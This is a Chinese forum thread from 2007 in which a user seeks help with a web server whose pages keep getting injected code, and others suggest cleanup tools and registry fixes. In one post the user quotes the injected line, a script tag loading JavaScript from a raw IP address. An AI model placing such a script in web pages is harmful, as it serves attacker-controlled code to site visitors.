1   1  /  1  页   跳转页

重发SRENG日志

收藏
水晶青蛙
头像
初生襁褓狮
  • 帖子:34
  • 注册: 2007-02-02
  • 来自:
发表于： 2007-10-24 14:57 | 只看楼主 短消息 资料
字号： 小 中 大 1楼

重发SRENG日志


同时有个问题，在这台机子上装了个网页服务，但是所有的网页后面都被注入代码，删了还会被自动加上！



[用户系统信息]Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2)

附件附件:

下载次数:165
文件类型:application/octet-stream
文件大小:
上传时间:2007-10-24 14:57:16
描述:

最后编辑2007-10-30 13:22:08.450000000
分享到：
gototop
 
水晶青蛙
头像
初生襁褓狮
  • 帖子:34
  • 注册: 2007-02-02
  • 来自:
发表于： 2007-10-24 15:04 | 只看楼主 短消息 资料
字号： 小 中 大 2楼

55555
怎么发上来没人看了啊。
救火啊。
gototop
 
没有梦想的男人
头像
锋芒艾服狮
  • 帖子:1680
  • 注册: 2007-07-07
  • 来自:
发表于： 2007-10-24 15:09 | 短消息 资料
字号： 小 中 大 3楼


下载 arswp清理助手: http://www.arswp.com/
打开arswp--高级模式--清理相关--临时文件--开始清理
打开arswp--高级模式--定制扫描--完整扫描,扫描所有文件--开始扫描.

清完后再看看还有没有你说的问题.这有个工具可以帮你找到所有htm并清除代码.

附件附件:

下载次数:78
文件类型:application/octet-stream
文件大小:
上传时间:2007-10-24 15:09:49
描述:
gototop
 
日不懂啊
头像
叱咤花甲狮
  • 帖子:14337
  • 注册: 2007-03-08
  • 来自:江苏南京
发表于： 2007-10-24 15:10 | 短消息 资料
字号： 小 中 大 4楼

用360把网络实名 3721删除

注册表中
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellExecuteHooks]
    <{D157330A-9EF3-49F8-9A67-4141AC41ADD4}><C:\WINNT\downlo~1\CnsHook.dll>  [(Verified)"INTER CHINA NETWORK SOFTWARE (BEIJING) CO., LTD."]
是不是有问题,删除文件C:\WINNT\downlo~1\CnsHook.dll
把注册表这项删除看看ING
gototop
 
水晶青蛙
头像
初生襁褓狮
  • 帖子:34
  • 注册: 2007-02-02
  • 来自:
发表于： 2007-10-24 16:41 | 只看楼主 短消息 资料
字号： 小 中 大 5楼

【回复“没有梦想的男人”的帖子】
刚刚用您说的软件清过了，但是过一会网页上又会出现同样的代码。？
这是什么问题呢。
注被注入的代码：
<script language=javascript src=http://60.190.222.235/qq.js></script>
gototop
 
oieurew
头像
尚未降生
  • 帖子:123
  • 注册: 2007-07-24
  • 来自:
发表于： 2007-10-29 22:33 | 短消息 资料
字号： 小 中 大 6楼

病毒真变态,不管是计算机上的还是人身上的。
gototop
 
oieurew
头像
尚未降生
  • 帖子:123
  • 注册: 2007-07-24
  • 来自:
发表于： 2007-10-30 13:22 | 短消息 资料
字号： 小 中 大 7楼

感兴趣的同志可以试用各厂商的在线查毒,趋势查到的总是要多一点，干事是比较谨慎一点的。
gototop
 
<<上一主题|下一主题>>
1   1  /  1  页   跳转页
页面顶部
Powered by Discuz!NT